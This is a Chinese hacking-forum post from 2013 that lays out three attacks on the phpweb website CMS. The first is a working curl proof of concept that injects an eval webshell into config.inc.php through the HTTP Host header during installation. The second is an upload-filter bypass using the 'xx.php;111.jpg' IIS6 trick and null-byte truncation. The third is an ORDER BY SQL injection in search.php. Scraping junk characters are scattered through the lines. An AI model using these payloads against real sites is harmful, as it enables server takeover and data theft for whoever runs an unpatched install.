找回密码
 立即注册
查看: 3356|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:9 m: t9 G) D# n9 h
9 L1 s) ?' E0 C1 r& K) ?
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
& g4 E# p/ B; ~; H6 e) P
3 o& g; X  W' O% S6 p1 _2 M鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
& k2 R8 F6 B2 I9 O" G鸡肋2: 有一定安全常识的站长都会删掉 install 目录' r( m' N# g" n  o$ W. ]
' ^1 j9 H# e% A% w+ M% j
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
, \: t% Y4 d: k 7 A- X; s+ @: R7 |. ]+ s3 S( P
分析:
" ?# x/ f6 w) W4 Y
$ S' }' W: I: T& ]% D
- k+ n, p8 I" {! q* p$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤  e( p/ |  @% v) T  s* q

' x8 Y3 v: J3 a) e8 _5 Q                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);5 D) o, c& t0 J0 A2 j
                                            $filestr=str_replace(" ","",$filestr);7 F" H( `6 Y# n- U* o$ G' ~. @. ~
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 l; e, }# n0 H* @( E1 ~                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);! k# k/ m) ?5 J' Q) S0 ^
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
* p9 Q& c0 P+ z( |                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
* u6 M0 ~' n7 E4 b& F                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
# R: x0 ?& |6 s" _                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
1 Y/ Z$ F5 Z& \' H+ ~6 P8 o" v                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( n( r' {/ m& n) J9 A) t ; Y# R3 V- f. c* @( ]- F  |: \, F% L
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
: t) w) l! V8 N* s- f5 M$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^# a/ O+ p$ L4 |2 W
+ c: O9 |5 P2 l  V) c
poc:
2 g8 M9 M9 L* g( i7 B
" G# u; i2 x& `# r7 Y7 d?8 f/ L9 W+ l5 A7 G7 z  l
1
0 b- z/ t% _7 L2 Pcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#". ]* W- F4 ^3 w" N+ |
shell地址: /config.inc.php: O9 H; ^$ |1 c2 f' g" U
跟之前的 phpcms一样 需要远程数据库( M$ J3 @6 a& `; a. N
1 m' z' z1 h# J2 N4 ?8 U4 C- P! r, g
——————————————————–
9 |+ C/ ^9 U( C' a# e上传漏洞(需要进后台):
$ K8 Z3 i+ A) R漏洞文件: /kedit/upload_cgi/upload.php1 z9 n6 n5 L# C9 X% w4 t8 N0 W9 T
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用2 C* x% X# c& ?7 r7 u. J  e: x

% D9 x9 `$ C3 V/ R' k6 H6 l 9 ]' S  }( P, Y; z( u. [+ M1 r: _
<?php
# f: U& n5 x$ L    define("ROOTPATH", "../../");* X) c: ~2 p" c: ?+ _+ N6 a7 z5 R
    include(ROOTPATH."includes/admin.inc.php");
! B' n" M$ A% C6 e1 Y    NeedAuth(0);8 k: E" a* K7 j# h+ J2 [$ b" e4 V$ v

- T, g6 P4 x1 ~3 j! ~* t    $dt=date("Ymd",time());- L9 C  A+ A( g+ O4 r% v) V; g2 K
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
5 _4 L3 [6 ^' ]  w# @            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, f- B$ e6 d5 f' c    }
& e! Y: R6 f4 K" v" u# t2 ^: R4 i9 N5 y
4 U& u- C: I- S3 m    //文件保存目录路径
3 D0 p# W' R7 h2 x, J9 \$ K    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
$ \7 ~! B% ^, d! e    echo $save_path;; V. [/ _& v" Q
    //文件保存目录URL3 i+ U( `3 j7 T4 a3 b
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
, I: B/ e5 M) ]; H( \; S( S
* o# z$ T1 G. E1 v2 Y    //定义允许上传的文件扩展名: g) u5 Q  H' c2 _7 i
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
3 u: @5 P& s% f) }# D- s3 [ ' y6 {. B4 {4 t) ~
    //最大文件大小
0 [8 P2 Y* P" l" h5 @% z/ i9 V    $max_size = 1000000;
" T( \% z7 h- w5 E0 t* X / ]" M5 T; ]% ?  ?
    //更改目录权限
: e! d7 @* X" ^! q  i4 k    @mkdir($save_path, 0777);/ [  C' e' s' X3 a: y' L) W1 R8 U# Q
' U' o* |3 S' l; [( x
    //文件的全部路径
, Q& j6 X" E% X, P3 b    $file_path = $save_path.$_POST['fileName'];   //保存文件名- q8 R1 d' T: s# k5 o& v6 |

& M) i/ d5 g; Y0 |3 f( N    //文件URL
3 f0 |: R/ K9 @    $file_url = $save_url.$_POST['fileName'];
& K: y$ z5 ]1 {) I//有上传文件时& @, o6 ~& K# G2 ?/ H
    if (empty($_FILES) === false) {' \/ o8 S8 @% z/ A: Z1 x& K  S7 m7 q

- x7 N1 _+ y7 r9 W% u  ?1 C1 L            //原文件名
% o2 y! a" ]& j4 F# F3 D+ r            $file_name = $_FILES['fileData']['name'];$ k# ~0 O; _5 W  A* }% n; D2 j! ~
            //服务器上临时文件名" T5 x  }) t/ q% l/ i7 T4 v
            $tmp_name = $_FILES['fileData']['tmp_name'];5 x3 b. h! i5 k8 V7 _; N" x
            //文件大小+ G  J) [- @/ X" o
            $file_size = $_FILES['fileData']['size'];
" G. B% R7 \, H: D* g            //检查目录
" v7 i9 Q: Q' y# w            if (@is_dir($save_path) === false) {
3 e4 J) O& V5 \! N+ k                    alert("上传目录不存在。");7 d6 G; L5 s8 ?, ?& s2 u
            }) E2 B+ x% T. A$ a7 c$ s$ j0 [
            //检查目录写权限' O* w+ D) Q- i% @# B8 l) I7 {
            if (@is_writable($save_path) === false) {
6 ?, M5 E+ n- I! \5 `                    alert("上传目录没有写权限。");" F& Q+ o  O3 P* c
            }. b( N. m. Q+ o0 K/ a
            //检查是否已上传& T+ f( G- s4 s
            if (@is_uploaded_file($tmp_name) === false) {: y3 O1 F2 X0 q* V- r$ o+ Y  v
                    alert("临时文件可能不是上传文件。");  v2 I" H9 x+ u, H$ h, U8 J
            }0 r. W+ i# g$ ^  {- V( H" k/ Z
            //检查文件大小
9 P* s9 j& `! W: P$ z$ s* V            if ($file_size > $max_size) {
: x" R5 h5 h' |  c% L7 N- v! i" q                    alert("上传文件大小超过限制。");5 R1 q  N$ @6 ]2 v  w& d
            }
7 d- D2 b" s3 G) A            //获得文件扩展名  J) w7 Y3 B. t, n
            $temp_arr = explode(".", $_POST['fileName']);- r8 ~3 E! [+ x. R
            $file_ext = array_pop($temp_arr);
# A$ @* s3 s& d  d4 z# q6 H: T            $file_ext = trim($file_ext);
) j( k) _) p* u6 }$ s7 B            $file_ext = strtolower($file_ext);
0 n# q% e& j0 F  T2 f1 `8 _ . C7 o4 P+ Y9 B0 h* G4 n1 i
            //检查扩展名   
' j3 I' u, e* a1 R/ m            if (in_array($file_ext, $ext_arr) === false) {     " i* G4 N- c! Y6 f, u
                    alert("上传文件扩展名是不允许的扩展名。");6 I& p4 w$ P4 Y& H0 q/ u
            }# V1 V# t6 a' A  w$ p
: x& i/ R$ `( v& t2 N, C
            //移动文件     S+ Z- F8 u# _8 f4 G$ P
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^9 c: y9 w- f' h
            if (move_uploaded_file($tmp_name, $file_path) === false) {- q; `* d0 Q5 ?+ n
                    alert("上传文件失败。");6 A. _9 ~8 j2 h5 y$ x
            }& ]0 `6 I5 {: U: h& ]/ s4 d3 f

* \6 O! W8 o- Q' h9 L            @chmod($file_path,0666);
* h! w' D! w0 f* J* p  U4 w9 V " ~% y: ]3 z) M, q* @
    ?>
+ c0 X+ c4 C$ P( n抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2274 }5 P/ N% i' I

) V+ I$ m1 h. z$ ]( Mapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
; H) _- Z, f% [
7 l4 X% ^' E5 e* k( J——————————————————
/ M+ ?4 _4 D3 x注入漏洞:
' p8 p! T9 S8 ?0 A; x7 a. N5 o& v漏洞文件:search/module/search.php4 |, p5 f. N4 r# ]8 v
/search/index.php?key=1&myord=1 [sqlinjection]
8 M+ |5 x5 F3 G4 l3 N7 |( |7 v! N
  `* m6 r0 V1 R% l" N+ i5 ]. @
) V) M- r5 v* |: ^9 i' j<?php! L9 V! L) t. ~4 E
   //       ... 省略 n 行...! R# v6 f1 c0 ?: e) }
   //第18行:
% \5 P! D/ h" `8 l           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
' z4 X, _  E+ j5 f           $page=htmlspecialchars($_GET["page"]);+ r7 z$ D2 [6 b6 R( b8 Z; c
           $myord=htmlspecialchars($_GET["myord"]);! `3 G" Y' o$ `' d

6 M2 c" U3 E! N5 B   //       ... 省略 n 行...  R9 q/ T% u& _  v: b' {% V" L: c8 c
   $key,$myord 两个参数带入查询$ @; ^* Z. w/ o" V: j" i8 U
   //第47行 $key:
1 P. e  R/ Z0 l) U) f# r" a
5 \, f) |$ C% N7 X6 I. M& W   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..4 v2 S( t2 {1 p! |

7 [2 y6 {$ m! b: N   //第197行 $myord
  s; T9 {+ N. C! Z7 b. \   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入, V5 Z$ ~; t, \5 n% a
* x$ t, I) f1 Y
   ?>6 s) Q& v" D  ^! |& y: b2 t, w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表